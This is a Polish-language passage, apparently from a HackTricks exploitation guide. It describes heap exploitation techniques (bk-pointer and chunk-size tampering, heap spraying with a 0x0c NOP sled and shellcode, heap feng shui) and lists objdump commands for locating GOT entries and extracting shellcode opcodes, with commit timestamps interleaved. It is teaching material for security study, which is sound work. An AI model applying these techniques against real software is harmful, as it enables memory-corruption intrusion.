Atak jest jak poprzedni, to znaczy, trzeba zmodyfikować wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmodyfikować rozmiar zmodyfikowanego kawałka w taki sposób, aby ten rozmiar - nb był < MINSIZE.
Na przykład, ustawi to rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się unsigned)
Dodatkowo wprowadzono łatkę, aby to jeszcze bardziej skomplikować.
**Heap Spraying**
Zasadniczo polega na rezerwowaniu całej możliwej pamięci dla heapów i wypełnianiu ich poduszką nops zakończoną shellcode. Dodatkowo, jako poduszkę używa się 0x0c. Ponieważ spróbuje się przeskoczyć do adresu 0x0c0c0c0c, a więc, jeśli nadpisze się jakiś wskaźnik, do którego się wezwie, z tą poduszką, przeskoczy się tam. Zasadniczo taktyka polega na rezerwowaniu jak najwięcej, aby zobaczyć, czy nadpisze się jakiś wskaźnik i przeskoczy do 0x0c0c0c0c, mając nadzieję, że tam będą nops.
**Heap Feng Shui**
Polega na tym, aby za pomocą rezerwacji i zwolnień zasadzić pamięć w taki sposób, aby między kawałkami zarezerwowanymi znajdowały się kawałki wolne. Bufor do przepełnienia znajdzie się w jednym z jajek.
**objdump -d wykonawczy** —> Disas funkcje\
**objdump -d ./PROGRAMA | grep FUNKCJA** —> Uzyskaj adres funkcji\
**objdump -d -Mintel ./shellcodeout** —> Aby zobaczyć, że to rzeczywiście nasza shellcode i wyciągnąć OpCodes\
**objdump -t ./exec | grep varBss** —> Tabela symboli, aby uzyskać adresy zmiennych i funkcji\
**objdump -TR ./exec | grep exit(func lib)** —> Aby uzyskać adresy funkcji z bibliotek (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Wyciąga adres puts do nadpisania w GOT\
**objdump -D ./exec** —> Disas WSZYSTKO do wpisów w plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info funkcji w gdb
2024-02-11 01:46:25 +00:00
## Ciekawe kursy
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Referencje**
2021-09-26 15:10:12 +00:00
2022-04-05 22:24:52 +00:00
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Wsparcie HackTricks</summary>
2023-12-30 10:12:47 +00:00
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}